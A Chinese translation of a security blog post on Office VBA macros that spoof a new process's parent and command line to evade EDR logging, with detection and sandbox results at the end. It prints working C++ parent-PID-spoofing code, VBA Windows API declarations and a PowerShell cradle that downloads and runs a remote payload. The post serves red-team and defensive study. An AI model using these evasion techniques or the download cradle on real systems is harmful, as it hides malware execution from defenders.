绕过EDR:构造Office宏欺骗父进程和命令行参数

41yf1sh 技术 2019年8月26日发布
Favorite收藏

导语:大多数现代EDR解决方案都使用行为检测的方式,允许根据其行为来检测恶意软件,而不是仅仅使用IoC(例如:文件哈希值、域名)。在这篇文章中,我给出了欺骗新进程的父进程和命令行参数这两种技术的VBA实现方法。

一、背景

大多数现代EDR解决方案都使用行为检测的方式,允许根据其行为来检测恶意软件,而不是仅仅使用IoC(例如:文件哈希值、域名)。在这篇文章中,我给出了欺骗新进程的父进程和命令行参数这两种技术的VBA实现方法。此类实现允许制作更加隐蔽的Office宏,并使宏生成的进程看起来像是由另一个程序(例如explorer.exe)创建的,并具有看上去良性的命令行参数。

需要说明的是,我并非提出这些技术的作者,这些技术是由Will Burgess、Didier Stevens和Casey Smith提出的。

首先,我们将讲解在Visual Basic中实现的技术背景。我第一次听到这些内容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演讲之后。

1.1 父进程欺骗

当进程派生出子进程时,例如Sysmon之类的EDR解决方案会记录该操作,同时会记录各种信息,例如:新创建的进程名称、哈希值、可执行路径以及有关父进程的信息。这对于构件行为规则非常有帮助,比如,“Microsoft Word永远不会派生出powershell.exe”。根据我的经验,这些规则具有较低的复杂性、较高的附加值,仅在极少情况下会发生误报。

1.png

事实证明,在使用Windows本地API创建进程时,可以指定任何进程作为其父进程。这并不是一个新鲜事,因此我不会在本文中更加详细地描述。实际上,Didier Stevens早在10年前就写过关于这一方面的文章。下面是一个C++代码的示例供大家参考,将使用任意进程作为父进程,派生出cmd.exe。

// 本代码基于https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
 
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
 
 
int main(int argc, char **canttrustthis)
{
       PROCESS_INFORMATION pi = { 0 };
       STARTUPINFOEXA si = { 0 };
       SIZE_T sizeToAllocate;
       int parentPid = 9524; // Could be found dynamically as well
 
       // Get a handle on the parent process to use
       HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);
       if (processHandle == NULL) {
              fprintf(stderr, "OpenProcess failed");
              return 1;
       }
 
       // Initialize the process start attributes
       InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
       // Allocate the size needed for the attribute list
       si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
       InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
       // Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use
       if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)) {
              fprintf(stderr, "UpdateProcThreadAttribute failed");
              return 1;
       }
       si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 
       printf("Creating process...\n");
 
       BOOL success = CreateProcessA(
              NULL, // App name
              "C:\\Windows\\system32\\calc.exe", // Command line
              NULL, // Process attributes
              NULL, // Thread attributes
              true, // Inherits handles?
              EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags
              NULL, // Env
              "C:\\Windows\\system32", // Current dir
              (LPSTARTUPINFOA) &si,
              &pi
       );
 
       if (!success) {
              printf("Error %d\n", GetLastError());
       }
 
       return 0;
}

2.png

1.2 进程命令行欺骗

这是一种新型技术,根据Will Burgess在演讲中所说,首次提出该技术的是Casey Smith。Adam Chester随后在他的博客上写了一个C++的概念验证代码。我推荐各位读者阅读他的文章,并了解实施的细节。接下来,我们来迅速看看这种技术的原理。

创建进程时,内部Windows数据结构Process Environment Block将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。

3.png

更具体来说,该技术的工作原理如下:

1. 在挂起状态下创建进程;

2. 使用NTQueryInformatioProcess检索PEB地址;

3. 使用WriteProcessMemory覆盖存储在PEB中的命令行;

4. 恢复进程。

这将导致Windows记录的只是步骤(1)中提供的命令行,但在步骤(3)中,进程代码会覆盖原始命令行。Adam Chester编写的完整概念验证代码,可以在GitHub上找到。

二、VBA实施

2.1 目标

这两个概念证明非常棒,但是如果我们可以在Office宏中实现相同的功能,就将会形成一个经典的攻击向量。事实证明,我们可以使用P/Invoke直接从VBA代码中调用低级别Windows API。例如,如果我们将函数OpenProcess定义为:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

可能需要以下VBA代码段:

Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
    ByVal dwDesiredAccess As Long, _
    ByVal bInheritHandle As Integer, _
    ByVal dwProcessId As Long _
) As Long

可以轻松实现调用:

Const PROCESS_ALL_ACCESS = &H1F0FFF
 
Dim handle As LongPtr
Dim PID As Integer
 
PID = 4444
handle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

这意味着,如果我们在VBA代码中定义所有必须的绑定和数据结构,我们应该就能够实现上述的两种技术,从而使用欺骗的父进程和命令行来生成新进程。

我们的计划如下:

1. 检索一眼看上去就是合法进程(例如explorer.exe)的PID;

2. 创建一个新进程(例如:powershell.exe),将此进程作为父进程,使用看上去合法的命令行,并使其处于挂起状态;

3. 覆盖PEB中的进程命令行;

4. 恢复进程。

举个例子,我们可以使用如下的原始命令行:

powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName

这只是一个PowerShell命令,用于列出名称中包含network的正在运行的服务。然后,我们可以使用命令行对其进行覆盖,该命令行将从网络下载PowerShell Payload并执行:

powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))

2.2 结果

经过整整一周的尝试,我的大脑中全都是Visual Basic(我之前从未使用过)、P/Invoke、调试可读的VBA错误,我不断修改VBA代码,最终终于成功。源代码位于:https://github.com/christophetd/spoofing-office-macro

下面是执行宏时,Sysmon记录的内容:

4.png

而实际的父进程是WINWORD.exe,并且正在执行的实际命令行是powershell.exe -noexit -ep bypass -c IEX((New-Object

System.Net.WebClient).DownloadString(‘http://bit.ly/2TxpA4h’))。

使用Process Monitor这样的工具,也同样无法检测出这个技巧:

5.png

三、实际使用

目前,已经记录了一些攻击者利用具有类似欺骗技术的恶意文档。我通过Google搜索,找到以下内容:

http://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html

https://twitter.com/tifkin_/status/900629117846028288

https://pastebin.com/xc9668u8

如果各位读者有其他样本,我希望能对其进行分析,请随时与我联系。

四、检测

Countercept发表了一篇描述如何检测父PID欺骗的文章。

从日志记录的角度来看,这些技术的实现使我们意识到,不能盲目地信任进程创建事件。但是,我们还有其他选择。首先,我们可以启用PowerShell模块日志记录,来获取正在调用的PowerShell模块的运行时日志。在这里,下面的日志条目将清晰地表明恶意活动。

6.png

此外,Sysmon(其他EDR解决方案可能也是如此)仍然将记录powershell.exe正在建立网络连接的事实,并且该过程是在派生出进程(calc.exe)后不久。这也可以被视为触发警报的一种可疑行为。

最后,我们可以考虑如何在攻击链中更早地识别出这样的威胁,可以通过IDS捕获、被执行沙箱的邮件网关捕获到。此外,如果宏被禁用,那么这种威胁在终端上就会变得无效。

五、反病毒检测

在撰写本文时,如果不经过混淆,我们的代码在VirusTotal上的检测率非常高,为21/61。但是,Any.run执行的纯动态分析就不会检测恶意活动,会将文件标记为“可疑”。在这里,父进程和命令行欺骗成功骗过了沙箱。

Any.run给出的可疑结果:

7.png

显示Powershell.exe没有父进程:

8.png

Any.run没有显示出PowerShell运行的实际命令行:

9.png

然而,像Joe Sandbox这样更高级的产品将会检测文件中的其他可疑元素,并将该文件分类为恶意内容。例如,它检测到powershell.exe进程是在挂起状态下生成的,这本身就很可疑。

10.png

六、总结

尽管流程创建日志对于蓝方来说具有巨大的价值,但我们应该小心,不要盲目的相信它们。如果防护方拥有来源广泛的可用日志:Windows、EDR、防火墙、代理、IDS、邮件网关,那么很可能会发现恶意威胁的存在。作为红方成员或渗透测试人员,利用这些技术可以方便地绕过仅依赖于进程创建日志的EDR解决方案。

非常感谢大家的阅读,我很乐意继续在Twitter上进行讨论(@christophetd)。如果大家有任何评论、疑问或者发现了任何错误,请随时与我联系。 

本文翻译自:https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/如若转载,请注明原文地址: https://www.4hou.com/technology/16803.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论